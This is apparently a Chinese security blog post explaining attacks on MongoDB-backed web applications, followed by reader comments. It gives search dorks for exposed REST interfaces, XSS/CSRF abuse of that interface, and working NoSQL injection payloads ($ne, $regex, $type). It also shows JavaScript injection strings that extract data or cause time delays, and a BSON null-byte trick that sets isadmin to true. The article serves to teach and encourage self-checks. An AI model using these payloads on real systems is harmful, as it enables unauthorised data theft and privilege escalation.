0x00 背景
本文主要来自于HITB Ezine Issue 010中的《Attacking MongoDB》
MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
开发人员使用NoSQL数据库的各种应用越来越多。 针对NoSQL的攻击方法是知之甚少,并不太常见。与SQL注入比较,本文重点介绍通过MongoDB的漏洞对Web应用程序可能的攻击。
0x01 攻击
1)REST接口
关注到有一个REST接口,提供一个web界面访问,默认运行在28017端口上,管理员可以用浏览器远程控制数据库,这个接口我发现了两个存储型xss以及很多的CSRF。
寻找方式:
http://www.shodanhq.com/search?q=port%3A28017
google搜索:
intitle:mongo intext:"listDatabases"
下了最新版本的mongodb默认不是启用rest的,需要在配置文件(/etc/mongod.conf)中加入一行
rest = true
才可以打开其他链接内容。
下图展示了攻击方法
插入js代码,让管理员执行,利用REST接口,执行mongodb的命令,结果返回到攻击者的服务器上。
例如,我利用js代码让管理员访问http://xxx.com:28017/admin/$cmd/?filter_eval=function()%7B%20return%20db.version()%20%7D&limit=1
返回结果:
2)Apache+PHP+MongoDB
一段php操作MongoDB的代码:
$q = array("name" => $_GET['login'], "password" => $_ GET['password']); $cursor = $collection->findOne($q);
这个脚本的是向MongoDB数据库请求,如果正常的话,会返回用户的数据:
echo 'Name: ' . $cursor['name']; echo 'Password: ' . $cursor['password'];
访问下面的连接
?login=admin&password=pa77w0rd
数据库里的执行情况是:
db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})
如果数据库里存在的该用户名及密码则返回true,否则返回fales。
下面的数据库语句,返回的为用户不是admin的数据($ne代表不等于):
db.items.find({"name" :{$ne : "admin"}})
那么在现实中的数据库操作例子通常是这样子的:
db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})
返回结果将是:
{ "_id" : ObjectId("4fda5559e5afdc4e22000000"), "name" : "admin", "password" : "pa77w0rd" }
php传入的方式为:
$q = array("name" => "admin", "password" => array("\$ne" => "1"));
外界请求的参数应该为:
?login=admin&password[$ne]=1
当使用正则$regex的时候,执行下列数据库语句,将会返回name中所有已y开头的数据
db.items.find({name: {$regex: "^y"}})
如果请求数据的脚本换为:
$cursor1 = $collection->find(array("login" => $user, "pass" => $pass));
返回结果的数据为:
echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login'] .'<br>pass: '. $obj2['pass'] . '<br>';
如果想要返回所有数据的话,可以访问下面的url:
?login[$regex]=^&password[$regex]=^
返回结果将会是:
id: 1 login: Admin pass: parol id: 4 login: user2 pass: godloveman id: 5 login: user3 pass: thepolice=
还有一种利用$type的方式:
?login[$not][$type]=1&password[$not][$type]=1
官方这里有详细介绍$type的各个值代表的意思:
http://cn.docs.mongodb.org/manual/reference/operator/query/type/
上面语句表示获取login与password不为双精度类型的,同样会返回所有的数据。
3)INJECTION MongoDB
当执行的语句采用字符串拼接的时候,同样也存在注入的问题,如下代码:
$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }";
当$login与$pass是直接从外界提交到参数获取:
$login = $_GET['login']; $pass = $_GET['password'];
并且没有任何过滤,直接带入查询:
$db->execute($q); $cursor1 = $collection->find(array("id" => 2)); foreach($cursor1 as $obj2){ echo "Your login:".$obj2['login']; echo "<br>Your password:".$obj2['pass']; }
输入测试数据:
?login=user&password=password
返回结果将是:
Your login: user Your password: password
输入
?login=user&password=';
页面将会返回报错。
输入
/?login=user&password=1'; var a = '1
页面返回正常,如何注入出数据呢:
?login=user&password=1'; var loginn = db.version(); var b='
看一下返回结果:
带入实际中$q是变为:
$q = "function() { var loginn = user; var passs = '1'; var loginn = db.version(); var b=''; db.members.insert({id : 2, login : loginn, pass : passs}); }"
获取其他数据的方法:
/?login=user&password= '; var loginn = tojson(db.members.find()[0]); var b='2
给loginn重新赋值,覆盖原来的user内容,tojson函数帮助获取到完整的数据信息,否则的话将会接收到一个Array。
最重要的部分是db.memeber.find()[0],member是一个表,find函数是获取到所有内容,[0]表示获取第一个数组内,可以递增获取所有的内容。
当然也有可能遇到没有返回结果的时候,经典的时间延迟注入也可以使用:
?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2
4)BSON
BSON(Binary Serialized Document Format)是一种类json的一种二进制形式的存储格式,简称Binary JSON,它和JSON一样,支持内嵌的文档对象和数组对象,但是BSON有JSON没有的一些数据类型,如Date和BinData类型。
默认test表中有两条数据:
> db.test.find({}) { "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false }
再插入一条:
> db.test.insert({ "name" : "noadmin2", "isadmin" : false})
然后查询看结果:
> db.test.find({}) { "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false } { "_id" : ObjectId("52cfa92ce085a58263f183fb"), "name" : "noadmin2", "isadmin" : false }
再插入一条列名为BSON对象的数据:
db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false})
isadmin之前的0x08是指该数据类型是布尔型,后面的0x01是把这个值设定为1。
这时再查询就回发现isadmin变为的true:
> db.test.find({}) { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false } { "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }
不过测试最新版的mongodb中,禁止了空字符。
当然了 我也觉得此类攻击有点YY。。。
0x02 总结
本文列举了四种攻击mongodb的方式。
当然这并不是安全否认mongodb的安全性,只是构造了集中可能存在攻击的场景。
希望大家看到后能够自查一下,以免受到攻击。
还有一些wofeiwo在2011年的时候就已经写过:
相关讨论:
乌帽子 | 2014/01/10 17:30
沙画~
Mongodb的文章比较少,多谢lz
mango | 2014/01/11 18:28
我会说Dz也存在上述漏洞么
livers | 2014/01/13 09:38
支持! mongodb 以2.4.2 为分水岭,不仅性能上,安全上也进行了提升
齐迹 | 2014/01/13 13:27
才5000W数据 2个索引后 不管是查询还是写入都很慢(秒级)!怎么破?
livers | 2014/01/13 15:19
mongodb 非常依赖内存,提升内存是最好的方法。
还有就是利用连接池